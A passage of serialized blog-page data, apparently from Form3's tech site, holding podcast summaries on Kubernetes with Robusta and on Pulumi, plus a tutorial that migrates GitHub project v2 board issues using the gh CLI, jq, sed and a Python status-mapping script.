start":398,"end":3963,"type":489,"data":33936},{"link_type":491,"url":33933},"rich_text$1100d74f-973e-46da-b2c4-6715508e393e",{"id":33939,"uid":33940,"type":25949,"data":33941},"alz0_REAAC0AUWdQ","podcast-k8s-robusta",{"title":33942,"excerpt":33943,"card_image":33944,"published_date":33948,"reading_time":643,"tag":25960,"dek":33943,"featured_image":33949,"about_form3":33955,"client_about_heading":5,"client_about_body":33956,"author_name":18970,"author_title":18971,"author_photo":33957,"author_bio":33960,"author_linkedin":33963,"slices":33965,"meta_title":33942,"meta_description":33943},".tech Podcast - Kubernetes as a cloud operating system","Natan Yellin joins us to his insights on the challenges of running software at scale, which now involves maintaining more complex system architecture than ever. Then, he walks us through the open-source tool Robusta Dev and how it can make running systems on Kubernetes easier!",{"dimensions":33945,"alt":33942,"copyright":5,"url":33946,"id":26096,"edit":33947},{"width":412,"height":412},"\u002F_prismic-media\u002Fb3b75a73eaf81eda-AsRbdCaw-56Gihpn_podcast-k8s-robusta.png",{"x":398,"y":398,"zoom":399,"background":400},"2022-09-15",{"dimensions":33950,"alt":5,"copyright":5,"url":33952,"id":33953,"edit":33954},{"width":501,"height":33951},855,"\u002F_prismic-media\u002F301df95e6dba40a6-f0O4SoCrtWLvp8E7_6ee7979b-a8f8-4bf5-a6a8-0e8ccf4.png","f0O4SoCrtWLvp8E7",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":33958,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":33959},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[33961],{"type":25,"text":25971,"spans":33962},[],{"link_type":491,"key":33964,"url":25975,"target":493},"f453fde3-4027-41d4-b014-2912b960c2f2",[33966,33986,34000,34026,34046,34074,34103],{"variation":437,"version":527,"items":33967,"primary":33968,"id":33985,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":33969,"body":33973,"cta_label":10704,"cta_link":33976,"aside_type":5,"aside_image":33979,"aside_video":33980,"aside_video_poster":33981,"aside_video_reduced_motion":33982,"aside_video_url":5,"aside_embed":33983,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":33984,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[33970],{"type":746,"text":33971,"spans":33972},"Ep 36 .tech - Kubernetes as a cloud operating system",[],[33974],{"type":25,"text":10702,"spans":33975},[],{"link_type":491,"key":33977,"url":33978},"ca074e1c-28ab-4645-ad65-96f34f3e2208","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-36-tech-kubernetes-as-a-cloud-operating-system-iH0afl06",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$0ac97c02-33c4-4f29-a05b-f812eca6a4c1",{"variation":437,"version":438,"items":33987,"primary":33988,"id":33999,"slice_type":468,"slice_label":5},[],{"body":33989},[33990],{"type":25,"text":33991,"spans":33992},"Natan Yellin is the CEO of Robusta Dev. He has a background as an engineer and has been tackling the challenges of the business world in his role as CEO.",[33993,33996],{"start":398,"end":2707,"type":489,"data":33994},{"link_type":491,"url":33995},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fnatanyellin\u002F",{"start":3485,"end":11705,"type":489,"data":33997},{"link_type":491,"url":33998},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Frobusta-dev\u002F","rich_text$92859b69-9fe9-4d1e-b28c-179016ca08f9",{"variation":437,"version":438,"items":34001,"primary":34002,"id":34025,"slice_type":468,"slice_label":5},[],{"body":34003},[34004,34007,34010,34013,34016,34019,34022],{"type":746,"text":34005,"spans":34006},"Challenges of running software at scale",[],{"type":25,"text":34008,"spans":34009},"The requirements of software solutions have gone up. When he first got started in programming, Natan would typically: take an application like WordPress, upload some files over FTP to a virtual server and then he'd add some caching solution if required. Today, this kind of level of solution is considered sub par.",[],{"type":25,"text":34011,"spans":34012},"Applications are expected to:",[],{"type":1151,"text":34014,"spans":34015},"handle any level of live traffic",[],{"type":1151,"text":34017,"spans":34018},"give performant responses",[],{"type":1151,"text":34020,"spans":34021},"take into account security concerns",[],{"type":25,"text":34023,"spans":34024},"Simply put, the bar for an MVP is much higher. Small teams are expected to provide a lot of the same things that people are used to from the big tech giants.",[],"rich_text$0277d12c-562b-4dcf-94bf-71d1bd6b8f2f",{"variation":437,"version":438,"items":34027,"primary":34028,"id":34045,"slice_type":468,"slice_label":5},[],{"body":34029},[34030,34033,34039,34042],{"type":746,"text":34031,"spans":34032},"The shift left",[],{"type":25,"text":34034,"spans":34035},"As the expectations of software uptime and functionality have gone up, engineers are shifting left and are responsible for oncall.",[34036],{"start":11954,"end":2237,"type":489,"data":34037},{"link_type":491,"url":34038},"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FShift-left_testing",{"type":25,"text":34040,"spans":34041},"Natan thinks there are pros and cons to this approach. When it comes to oncall, engineers are responsible for everything that's happening in production, which is more work, but at the same time they are more connected to the issues that matter to customers.",[],{"type":25,"text":34043,"spans":34044},"The other aspect is getting software setup and running. One approach is to say: when running software in Kubernetes or another platform, developers shouldn't know anything about the operational concerns of that underlying platform. Natan thinks this approach is misguided, as developers generally like to learn and explore the DevOps aspects.",[],"rich_text$8f853d09-838f-4dc0-af45-7de473c36cef",{"variation":437,"version":438,"items":34047,"primary":34048,"id":34073,"slice_type":468,"slice_label":5},[],{"body":34049},[34050,34053,34058,34061,34064,34067,34070],{"type":746,"text":34051,"spans":34052},"Kubernetes and its complexities",[],{"type":25,"text":34054,"spans":34055}," Kubernetes seems to be the de-facto choice when it comes to building systems, even if more simple approaches would suffice.",[34056],{"start":399,"end":602,"type":489,"data":34057},{"link_type":491,"url":33910},{"type":25,"text":34059,"spans":34060},"Empirically, the industry is replacing Platform-as-a-Service (PaaS) and simplified higher level abstractions with Kubernetes. Natan attributes this move to two major contributing factors:",[],{"type":3373,"text":34062,"spans":34063},"Often people start with PaaS solutions to keep things as simple as possible. Ultimately, companies reach the upper limits of what's possible with these solutions and switch to Kubernetes to continue scaling with the flexibility Kubernetes provides.",[],{"type":3373,"text":34065,"spans":34066},"Once they're over the learning curve, developers rarely want to go back to a higher abstraction layer. Often, the transition to Kubernetes is one way and companies that migrate to it will continue to use it for all their services.",[],{"type":25,"text":34068,"spans":34069},"However, becoming proficient with Kubernetes is quite an undertaking, as it's such a complex orchestration system. Natan's personal opinion is that front-loading the concerns of managing complex requirements is actually an advantage, as it allows teams to learn from the beginning of the project, when services are simpler. The realities of your system will sooner or later catch up with your engineering teams.",[],{"type":25,"text":34071,"spans":34072},"Kubernetes has an active, helpful community. This has helped Form3's transition from Amazon ECS to Kubernetes. The fact that it's a widely adopted, open-source platform also means that the community has built solutions and tooling that they needed.",[],"rich_text$ca550dab-4df6-4076-acd7-63adff7d7132",{"variation":437,"version":438,"items":34075,"primary":34076,"id":34102,"slice_type":468,"slice_label":5},[],{"body":34077},[34078,34081,34087,34090],{"type":746,"text":34079,"spans":34080},"Introduction to Robusta Dev",[],{"type":25,"text":34082,"spans":34083}," Robusta makes setup and getting started easier. It provides runbook automations, letting you define rules for what should happen and how to debug different issues that occur. It pools in all the context that you need on your resources, making it easier for both new and experienced engineers to run Kubernetes in production. Robusta doesn't set up clusters, it wraps around around existing technologies in a simpler way.",[34084],{"start":399,"end":1633,"type":489,"data":34085},{"link_type":491,"url":34086},"https:\u002F\u002Fhome.robusta.dev\u002F",{"type":25,"text":34088,"spans":34089},"Users do not have to configure anything to get started. All of the core functionality is open-source and requires zero configuration. Robusta provides an engine that users can then leverage to write their rules, but it has built in knowledge that is constantly evolving as well. Alert data is decorated by the Robusta runtime, so it provides fully dynamic explanations.",[],{"type":25,"text":34091,"spans":34092},"Robusta provides support for a wide variety of synchronisation channels, most common being Slack, Microsoft Teams and Opsgenie. It also provides an interactive platform, which provides automatic or manual actions that can remediate alerts. These make it easier for engineers on call to remediate issues all without code changes.",[34093,34096,34099],{"start":1408,"end":5328,"type":489,"data":34094},{"link_type":491,"url":34095},"https:\u002F\u002Fslack.com\u002Fintl\u002Fen-gb\u002Ffeatures",{"start":2237,"end":2055,"type":489,"data":34097},{"link_type":491,"url":34098},"https:\u002F\u002Fwww.microsoft.com\u002Fen-gb\u002Fmicrosoft-teams\u002Fgroup-chat-software",{"start":3402,"end":19498,"type":489,"data":34100},{"link_type":491,"url":34101},"https:\u002F\u002Fwww.atlassian.com\u002Fsoftware\u002Fopsgenie","rich_text$f7bf6329-f159-4bbd-9d1a-3221740876f7",{"variation":437,"version":438,"items":34104,"primary":34105,"id":34140,"slice_type":468,"slice_label":5},[],{"body":34106},[34107,34110,34113,34116,34122,34128,34134],{"type":746,"text":34108,"spans":34109},"The bigger picture",[],{"type":25,"text":34111,"spans":34112}," Natan explains that Robusta was built to solve the bigger problem of software becoming more complex, rather than the narrow problems of running Kubernetes in production. The big idea is that it's possible to capture the knowledge of issues and how to fix them and deliver them as automations, exactly when you need them. This is where the excitement and power of the Robusta platform comes in.",[],{"type":25,"text":34114,"spans":34115},"Make sure to explore these excellent resources to learn more from Natan:",[],{"type":1151,"text":34117,"spans":34118},"Common Kubernetes Mistakes - CPU and Memory Requests",[34119],{"start":398,"end":1251,"type":489,"data":34120},{"link_type":491,"url":34121},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=_nknHwTKlh8",{"type":1151,"text":34123,"spans":34124},"The Robusta YouTube channel",[34125],{"start":398,"end":3485,"type":489,"data":34126},{"link_type":491,"url":34127},"https:\u002F\u002Fwww.youtube.com\u002Fchannel\u002FUCeLrAOI3anJAfO3BrYVB62Q",{"type":1151,"text":34129,"spans":34130},"Stop using CPU limits on Kubernetes",[34131],{"start":398,"end":628,"type":489,"data":34132},{"link_type":491,"url":34133},"https:\u002F\u002Fhome.robusta.dev\u002Fblog\u002Fstop-using-cpu-limits\u002F",{"type":1151,"text":34135,"spans":34136},"Kubernetes is the POSIX of the cloud",[34137],{"start":398,"end":3852,"type":489,"data":34138},{"link_type":491,"url":34139},"https:\u002F\u002Fhome.robusta.dev\u002Fblog\u002Fkubernetes-is-the-new-posix\u002F","rich_text$077d9f2e-0eb7-430e-9bab-99bbe56af6c6",{"id":34142,"uid":34143,"type":25949,"data":34144},"alz1NBEAACgAUWhp","ep27-podcast",{"title":34145,"excerpt":34146,"card_image":34147,"published_date":34152,"reading_time":643,"tag":25960,"dek":5,"featured_image":34153,"about_form3":34154,"client_about_heading":5,"client_about_body":34155,"author_name":18970,"author_title":18971,"author_photo":34156,"author_bio":34159,"author_linkedin":34162,"slices":34164,"meta_title":34145,"meta_description":34146},".tech Podcast - Pulumi","Pulumi is an Infrastructure as Code (IaC) tool that allows you to write programs in your programming language of choice (Go, .Net, Typescript, Javascript, Python) and apply that program to your infrastructure. Internally it builds a declarative view of the world, so it can track changes between runs. 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Then, he explains how Pulumi executes plans, model dependencies and orchestrates systems. Finally, he discusses the differences between Pulumi and Terraform.",[34172,34175],{"start":398,"end":2987,"type":489,"data":34173},{"link_type":491,"url":34174},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Frawkode\u002F",{"start":7460,"end":5574,"type":489,"data":34176},{"link_type":491,"url":34177},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fpulumi\u002F",{"type":25,"text":34179,"spans":34180},"David is a Staff Developer Advocate at Pulumi. He spends a lot of time creating developer content such as codified examples, tutorials and conference talks to help technology users. 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Instead, IaC allows us to programatically describe and create those resources by communicating with the cloud provider APIs.",[34218],{"start":398,"end":9704,"type":489,"data":34219},{"link_type":491,"url":34220},"https:\u002F\u002Fwww.pulumi.com\u002Fwhat-is\u002Fwhat-is-infrastructure-as-code\u002F",{"type":25,"text":34222,"spans":34223},"This provides us a with:",[],{"type":1151,"text":34225,"spans":34226},"A repeatable process, which lifts the burden of environment configuration from developers and operation teams.",[],{"type":1151,"text":34228,"spans":34229},"A deterministic environment for all use cases, which avoids variance and bugs in environment configurations.",[],{"type":1151,"text":34231,"spans":34232},"The ability to check in infrastructure configuration into source control, making it easy to review and see how it changed.",[],"rich_text$fb9c9297-b1ce-40f5-82fd-d122f5348ffc",{"variation":437,"version":438,"items":34235,"primary":34236,"id":34257,"slice_type":468,"slice_label":5},[],{"body":34237},[34238,34241,34247,34253],{"type":746,"text":34239,"spans":34240},"What is Pulumi?",[],{"type":25,"text":34242,"spans":34243},"Pulumi is a command-line application that provides software development kits (SDKs) for cloud providers and more. It gives you a data structure model that you can use to describe resources.",[34244],{"start":15360,"end":10309,"type":489,"data":34245},{"link_type":491,"url":34246},"https:\u002F\u002Fwww.pulumi.com\u002Fdocs\u002Fintro\u002Fconcepts\u002F",{"type":25,"text":34248,"spans":34249},"It allows you to write code and create classes in a variety of languages - Go, .Net, Typescript, Javascript, Python. When running, Pulumi will create a directed acyclic graph (DAG), which will work out dependencies and create the resources in the correct order. Furthermore, Pulumi runs are idempotent and reconcile drift (undeclared changes which).",[34250,34251],{"start":31756,"end":10918,"type":765},{"start":1978,"end":34252,"type":765},321,{"type":25,"text":34254,"spans":34255},"Pulumi is different in that it allows you to use the programming languages you are already comfortable with rather than a domain specific language(DSL).",[34256],{"start":5102,"end":10911,"type":765},"rich_text$51951191-e216-4506-8a54-b2c4bc2c8776",{"variation":437,"version":438,"items":34259,"primary":34260,"id":34277,"slice_type":468,"slice_label":5},[],{"body":34261},[34262,34265,34268,34271,34274],{"type":746,"text":34263,"spans":34264},"Executing Pulumi plans",[],{"type":25,"text":34266,"spans":34267},"The imperatively declared Pulumi plans output declarative resources, which is something that be hard to get your head around. You can write declarative code using imperative code, which is what functional programmers do.",[],{"type":25,"text":34269,"spans":34270},"Under the hood, Pulumi executes the code, monitors the resources that have been created, stores them and reconcile what it needs to do afterwards with the cloud provider APIs.",[],{"type":25,"text":34272,"spans":34273},"Every resource created by Pulumi gets a unique identifier. It breaks everything down to CRUD operations, using the read operation to detect if any updates need to be made. For example, if you were to change your resource count from 2 to 5, the Pulumi would detect that change and spin up 3 new instances to bring the total count to 5. Pulumi is also able to detect which updates can be made in place and which updates require a replace.",[],{"type":25,"text":34275,"spans":34276},"Managing resource changes is a complex process, so using and IaC tool will help your developer teams handle this.",[],"rich_text$cb42dc68-4d51-4c7b-aeea-45f141b94342",{"variation":437,"version":438,"items":34279,"primary":34280,"id":34297,"slice_type":468,"slice_label":5},[],{"body":34281},[34282,34285,34288,34291,34294],{"type":746,"text":34283,"spans":34284},"Modelling dependencies in Pulumi",[],{"type":25,"text":34286,"spans":34287},"Dependencies inform the order of creation and destruction of resources.",[],{"type":25,"text":34289,"spans":34290},"Resources will be created from top to bottom in the code that you have written, unless dependencies are manually declared. This will allow you to control the creation and destruction of your resources.",[],{"type":25,"text":34292,"spans":34293},"Pulumi has an input-output type system. It will determine dependencies based on this type system, but you can also manually change it. For example, you want to create a load balancer, but will need to pass it an IP address from a VM or similar. Pulumi will know to spin up the VM first, then pass that IP address to the load balancer when it is ready.",[],{"type":25,"text":34295,"spans":34296},"A common pitfall is to hardcode resource values, even though you might be able to work it out. The IaC tool will not know there is a dependency between those resources if you use hardcoded strings. The type systems in the Pulumi supported languages help enforce that as well.",[],"rich_text$6f6aa523-7195-4b16-9edd-b2b122dd0e09",{"variation":437,"version":438,"items":34299,"primary":34300,"id":34332,"slice_type":468,"slice_label":5},[],{"body":34301},[34302,34305,34308,34311,34314,34317,34320,34326],{"type":746,"text":34303,"spans":34304},"Orchestrating projects with Pulumi",[],{"type":25,"text":34306,"spans":34307},"Most organisations now have a platform engineering team that are in charge of managing the increasingly complex infrastructures that we run.",[],{"type":25,"text":34309,"spans":34310},"The typical setup in Pulumi is:",[],{"type":1151,"text":34312,"spans":34313},"a Git repository that defines your core infrastructure, typically a managed Kubernetes service",[],{"type":1151,"text":34315,"spans":34316},"CI\u002FCD integration for most popular technologies, which creates base resources and provides feedback",[],{"type":1151,"text":34318,"spans":34319},"a stack reference which allows your application teams to subscribe to your stack",[],{"type":25,"text":34321,"spans":34322},"Pulumi also supports GitOps, which is the practice of platform engineering teams installing Kubernetes operators in the cluster and pulling in the correct repositories. This is a good developer experience, as they don’t have to worry about stack references. They just push their code to their repositories and the operator makes it happen for them.",[34323],{"start":2707,"end":3485,"type":489,"data":34324},{"link_type":491,"url":34325},"https:\u002F\u002Fwww.pulumi.com\u002Fblog\u002Fimproving-gitops-with-pulumi-operator\u002F",{"type":25,"text":34327,"spans":34328},"Pulumi provides their own Kubernetes operator, which is a great starting point when setting up new infrastructures. From there, the deployment pipeline is controlled via Git.",[34329],{"start":2477,"end":9211,"type":489,"data":34330},{"link_type":491,"url":34331},"https:\u002F\u002Fwww.pulumi.com\u002Fdocs\u002Fguides\u002Fcontinuous-delivery\u002Fpulumi-kubernetes-operator\u002F","rich_text$90a350b2-1e83-4efb-913f-357ffb8d2e71",{"variation":437,"version":438,"items":34334,"primary":34335,"id":34375,"slice_type":468,"slice_label":5},[],{"body":34336},[34337,34340,34348,34351,34354,34363,34366,34372],{"type":746,"text":34338,"spans":34339},"Differences from Terraform",[],{"type":25,"text":34341,"spans":34342},"People often think of Terraform as synonymous with IaC. Terraform has a DSL called Hashicorp configuration language (HCL). It is used to describe all Terraform programs and it does have some constraints, even though it has been adding new features lately.",[34343,34345],{"start":7635,"end":690,"type":489,"data":34344},{"link_type":491,"url":32123},{"start":28611,"end":19436,"type":489,"data":34346},{"link_type":491,"url":34347},"https:\u002F\u002Fwww.terraform.io\u002Flanguage\u002Fsyntax\u002Fconfiguration",{"type":25,"text":34349,"spans":34350},"One of the main differentiators of Pulumi was its choice to not use a DSL at all, but to use the imperative languages that developers are already used to, with a wide array of supported SDKs.",[],{"type":25,"text":34352,"spans":34353},"These programming languages come with a host of benefits:",[],{"type":1151,"text":34355,"spans":34356},"Solved distribution such as npm, PyPy etc.",[34357,34360],{"start":9704,"end":690,"type":489,"data":34358},{"link_type":491,"url":34359},"https:\u002F\u002Fwww.npmjs.com\u002F",{"start":9077,"end":846,"type":489,"data":34361},{"link_type":491,"url":34362},"https:\u002F\u002Fwww.pypy.org\u002F",{"type":1151,"text":34364,"spans":34365},"Support developer favourite tooling",[],{"type":1151,"text":34367,"spans":34368},"Support testing your code. Pulumi provides mocking and assertion frameworks to enable you to unit test your code.",[34369],{"start":5136,"end":2651,"type":489,"data":34370},{"link_type":491,"url":34371},"https:\u002F\u002Fwww.pulumi.com\u002Fdocs\u002Fguides\u002Ftesting\u002Funit\u002F",{"type":25,"text":34373,"spans":34374},"Most of all, Pulumi wants to remove the cognitive overload of HCL, making it easier for developers to get involved in infrastructure.",[],"rich_text$e06734cd-0dc1-4a81-8f22-eb91db6b0ad9",{"variation":437,"version":438,"items":34377,"primary":34378,"id":34386,"slice_type":468,"slice_label":5},[],{"body":34379},[34380,34382],{"type":746,"text":26190,"spans":34381},[],{"type":25,"text":26935,"spans":34383},[34384],{"start":2651,"end":19482,"type":489,"data":34385},{"link_type":491,"url":26197,"target":493},"rich_text$0c75a407-d84a-470f-b5be-27e1990e3a56",{"id":34388,"uid":34389,"type":25949,"data":34390},"alz00xEAAC0AUWac","migrating-gh-boards",{"title":34391,"excerpt":34392,"card_image":34393,"published_date":34398,"reading_time":643,"tag":25960,"dek":34392,"featured_image":34399,"about_form3":34404,"client_about_heading":5,"client_about_body":34405,"author_name":26951,"author_title":26952,"author_photo":34406,"author_bio":34409,"author_linkedin":34414,"slices":34416,"meta_title":34391,"meta_description":34392},"Migrating project v2 boards in GitHub","Once upon a time, there were project boards in GitHub. They helped you plan, they looked like Trello, and they were much loved. They were classic. Then, one day, they were deprecated! Along came project v2 boards. They were like Trello, but also like a spreadsheet, and much more between, and they became the new project planning tool in GitHub. This post is about migrating project boards in GitHub. It's not, as you might expect, about migrating from classic project boards to v2 projects. GitHub offer a migration tool for that in their UI, and it's easy to do. Instead, this post is about migrating from one v2 board to another.",{"dimensions":34394,"alt":34391,"copyright":5,"url":34395,"id":34396,"edit":34397},{"width":412,"height":412},"\u002F_prismic-media\u002Fdfe6cc73fc80b23b--k-SRcoga9nP6phQ_migrating-gh-boards.svg","-k-SRcoga9nP6phQ",{"x":398,"y":398,"zoom":399,"background":650},"2023-02-22",{"dimensions":34400,"alt":5,"copyright":5,"url":34401,"id":34402,"edit":34403},{"width":501,"height":646},"\u002F_prismic-media\u002Fb3d284b415eccdce-TxE896nUniwYhPzD_5bb68ae8-3608-4127-be91-01bd61e.jpg","TxE896nUniwYhPzD",{"x":398,"y":398,"zoom":399,"background":650},[],[],{"dimensions":34407,"alt":26951,"copyright":5,"url":26956,"id":26957,"edit":34408},{"width":5080,"height":26955},{"x":398,"y":398,"zoom":399,"background":650},[34410],{"type":25,"text":26961,"spans":34411},[34412],{"start":19275,"end":18958,"type":489,"data":34413},{"link_type":491,"url":26965,"target":493},{"link_type":491,"key":34415,"url":26968,"target":493},"e1c88d6b-6263-4727-bb1b-7b3f7d058448",[34417,34428,34454,34465,34473,34481,34489,34524,34538,34546,34560,34568,34579,34587,34607,34615,34623,34631,34641,34667,34675],{"variation":437,"version":438,"items":34418,"primary":34419,"id":34427,"slice_type":468,"slice_label":5},[],{"body":34420},[34421,34424],{"type":746,"text":34422,"spans":34423},"Why would you want to do that?",[],{"type":25,"text":34425,"spans":34426},"Good question! Well, the GitHub classic to v2 migration tool migrates issues to a v2 board with the same status names\u002Fcolumns as the classic board. If you want to migrate the issues on this new board into a different v2 board, or you just want to combine multiple v2 project boards into one, you'll need to work outside of the GitHub UI.",[],"rich_text$320fb916-da98-4bc4-bf5f-0e5df85993e4",{"variation":437,"version":438,"items":34429,"primary":34430,"id":34453,"slice_type":468,"slice_label":5},[],{"body":34431},[34432,34435,34438,34444,34450],{"type":746,"text":34433,"spans":34434},"So, how do you do it?",[],{"type":25,"text":34436,"spans":34437},"In this blog post, I'm going to show you how I did this using a combination of:",[],{"type":1151,"text":34439,"spans":34440},"The GitHub GraphQL API.",[34441],{"start":4603,"end":7635,"type":489,"data":34442},{"link_type":491,"url":34443},"https:\u002F\u002Fdocs.github.com\u002Fen\u002Fgraphql\u002Freference",{"type":1151,"text":34445,"spans":34446},"The GitHub command line interface.",[34447],{"start":4603,"end":9077,"type":489,"data":34448},{"link_type":491,"url":34449},"https:\u002F\u002Fgithub.com\u002Fcli\u002Fcli",{"type":1151,"text":34451,"spans":34452},"A little bit of Bash and Python scripting.",[],"rich_text$44044b55-a3a8-41a5-97b3-b387338f0383",{"variation":437,"version":438,"items":34455,"primary":34456,"id":34464,"slice_type":468,"slice_label":5},[],{"body":34457},[34458,34461],{"type":746,"text":34459,"spans":34460},"Step 1: list the issues on the project v2 board you want to migrate",[],{"type":25,"text":34462,"spans":34463},"This can be achieved with the GitHub GraphQL API, via the GitHub CLI:",[],"rich_text$cc630263-420b-4be6-9cbf-2d210463a7e5",{"variation":437,"version":438,"items":34466,"primary":34467,"id":34472,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":34468},[34469],{"type":27922,"text":34470,"spans":34471},"gh api graphql \\\n    --paginate \\\n    --jq '.data.organization.projectV2.items.nodes[]' \\\n    -f query='\nquery($endCursor: String) {\n  organization(login:\"\u003Corganisation-id>\"){\n    projectV2(number:\u003Cproject-number>){\n      items(first:10, after: $endCursor){\n        pageInfo{ hasNextPage endCursor }\n        nodes{\n          fieldValueByName(name:\"Status\"){\n            __typename\n            ... on ProjectV2ItemFieldSingleSelectValue{\n              name\n            }\n          }\n          content{\n            __typename\n            ... on Issue{\n              number\n              title\n              id\n            }\n          }\n        }\n      }\n    }\n  }\n}' | jq | sed 's\u002F^}$\u002F},\u002Fg' | sed '1s\u002F^{$\u002F[{\u002Fg' | sed '$s\u002F^},$\u002F}]\u002Fg' | tee issues.json",[],"code_block$c7645222-a813-451d-a527-88d6ba2f1bd6",{"variation":437,"version":438,"items":34474,"primary":34475,"id":34480,"slice_type":468,"slice_label":5},[],{"body":34476},[34477],{"type":25,"text":34478,"spans":34479},"This results in some output like this:",[],"rich_text$794f9ab2-fa27-40b8-bd5e-d2ea1b9f0ee9",{"variation":437,"version":438,"items":34482,"primary":34483,"id":34488,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":34484},[34485],{"type":27922,"text":34486,"spans":34487},"[{\n  \"content\": {\n    \"__typename\": \"Issue\",\n    \"id\": \"I_kwDOGolhjhjkhjke\",\n    \"number\": 112,\n    \"title\": \"Handle thing field correctly in blah\"\n  },\n  \"fieldValueByName\": {\n    \"__typename\": \"ProjectV2ItemFieldSingleSelectValue\",\n    \"name\": \"Done 🎉\"\n  }\n},\n{\n  \"content\": {\n    \"__typename\": \"Issue\",\n    \"id\": \"I_kwDOGhjkhkjhjkkN\",\n    \"number\": 234,\n    \"title\": \"Add a stage to the CI which runs the load tests\"\n  },\n  \"fieldValueByName\": {\n    \"__typename\": \"ProjectV2ItemFieldSingleSelectValue\",\n    \"name\": \"Done 🎉\"\n  }\n}]",[],"code_block$6fade4a6-e1c8-4a1f-ab99-c33f7d778db7",{"variation":437,"version":438,"items":34490,"primary":34491,"id":34523,"slice_type":468,"slice_label":5},[],{"body":34492},[34493,34496,34500,34506,34510,34515,34520],{"type":25,"text":34494,"spans":34495},"Let's just examine the commands in the pipeline:",[],{"type":1151,"text":34497,"spans":34498},"gh api graphql makes the raw request to GitHub, but outputs paginated data that isn't well-formed in a JSON array.",[34499],{"start":398,"end":2987,"type":765},{"type":1151,"text":34501,"spans":34502},"jq pretty-formats the JSON, which leaves characters like { and } on their own line, although still not in a JSON array.",[34503,34504,34505],{"start":398,"end":506,"type":765},{"start":3639,"end":9203,"type":765},{"start":629,"end":4083,"type":765},{"type":1151,"text":34507,"spans":34508},"sed 's\u002F^}$\u002F},\u002Fg' replaces errant closing braces of array elements with a well formed brace and comma. This makes paginated elements into valid elements of a JSON array.",[34509],{"start":398,"end":2477,"type":765},{"type":1151,"text":34511,"spans":34512},"sed '1s\u002F^{$\u002F[{\u002Fg' replaces the first line containing an opening brace with [{, which opens a well-formed JSON array.",[34513,34514],{"start":398,"end":6911,"type":765},{"start":2651,"end":855,"type":765},{"type":1151,"text":34516,"spans":34517},"sed '$s\u002F^},$\u002F}]\u002Fg' replaces the final line containing a trailing comma, with a well-formed }], which closes the JSON array.",[34518,34519],{"start":398,"end":2769,"type":765},{"start":1408,"end":1409,"type":765},{"type":25,"text":34521,"spans":34522},"The result is a nicely formatted JSON array containing an element for every issue on the board, along with its current status.",[],"rich_text$bf539717-1971-49fc-8000-97dcdb8096ac",{"variation":437,"version":438,"items":34525,"primary":34526,"id":34537,"slice_type":468,"slice_label":5},[],{"body":34527},[34528,34531,34534],{"type":746,"text":34529,"spans":34530},"Step 2: map the current statuses, to statuses on your target board",[],{"type":25,"text":34532,"spans":34533},"Now that we've got all the issues and their current statuses, we can map all their statuses to statuses on your new project board. This is the step that allows you to migrate issues from one board to another, when there isn't necessarily a straightforward mapping from the statuses on one board to the other.",[],{"type":25,"text":34535,"spans":34536},"This is hard to do in Bash, but relatively straight forward in Python:",[],"rich_text$bd9dd29e-024d-4d96-84b6-514053b903ac",{"variation":437,"version":438,"items":34539,"primary":34540,"id":34545,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":34541},[34542],{"type":27922,"text":34543,"spans":34544},"import json\nimport os\nimport sys\n\n# This function maps statuses on your source board to those on your\n# target board.\ndef map_old_status_to_new(old_status):\n    if \"Backlog\" in old_status:\n        return \"Product planning\"\n    if \"Ready To Start\" in old_status:\n        return \"Ready to develop\"\n    if \"In Progress\" in old_status:\n        return \"In development\"\n    if \"Done\" in old_status:\n        return None\n    if \"Parked\" in old_status:\n        return None\n\n# Read the issues data from file.\nwith open('issues.json') as f:\n\tissues = json.loads(f.read())\n\n# Iterate over each of the issues, and map the old status to their\n# new status.\nfor issue in issues:\n    try:\n        number = issue[\"content\"][\"number\"]\n        old_status = issue[\"fieldValueByName\"][\"name\"]\n        new_status = map_old_status_to_new(old_status)\n        if new_status is None:\n            print(\n                \"ignoring issue {} because its status is {}\".format(\n                    number,\n                    old_status\n                ),\n                file=sys.stderr\n            )\n            continue\n\t\t# Output some new JSON representing the issue and its mapped status.\n        mapped_issue = {\n            \"number\": number,\n            \"id\": issue[\"content\"][\"id\"],\n            \"old_status\": old_status,\n            \"new_status\": new_status\n        }\n        print(json.dumps(mapped_issue))\n    except Exception as e:\n        print(\n            \"error processing issue. error: {}, issue: {}\".format(e, issue),\n            file=sys.stderr\n        )",[],"code_block$9fe4a61f-f38f-458d-95a1-63226bc1fd4b",{"variation":437,"version":438,"items":34547,"primary":34548,"id":34559,"slice_type":468,"slice_label":5},[],{"body":34549},[34550,34553,34556],{"type":25,"text":34551,"spans":34552},"This script reads your issues data, and re-shapes the data into a JSON object per line of standard output. Each object contains the information required to add the issue to the new project board in the correct status.",[],{"type":25,"text":34554,"spans":34555},"You could run this Python script from a shell and pipe its output to subsequent commands, or save the output to a file.",[],{"type":25,"text":34557,"spans":34558},"The output looks something like this:",[],"rich_text$bd42144b-f617-4b52-85db-e546ddc2815d",{"variation":437,"version":438,"items":34561,"primary":34562,"id":34567,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":34563},[34564],{"type":27922,"text":34565,"spans":34566},"{\"number\": 1151, \"id\": \"I_kwhjkol6Is5ZStTQ\", \"old_status\": \"In Progress \\ud83c\\udfd7\\ufe0f\", \"new_status\": \"In development\"}\n{\"number\": 902, \"id\": \"I_kwhjkol6Is5U9_wD\", \"old_status\": \"In Progress \\ud83c\\udfd7\\ufe0f\", \"new_status\": \"In development\"}\n{\"number\": 1229, \"id\": \"I_kwhjkol6Is5aw2yu\", \"old_status\": \"In Progress \\ud83c\\udfd7\\ufe0f\", \"new_status\": \"In 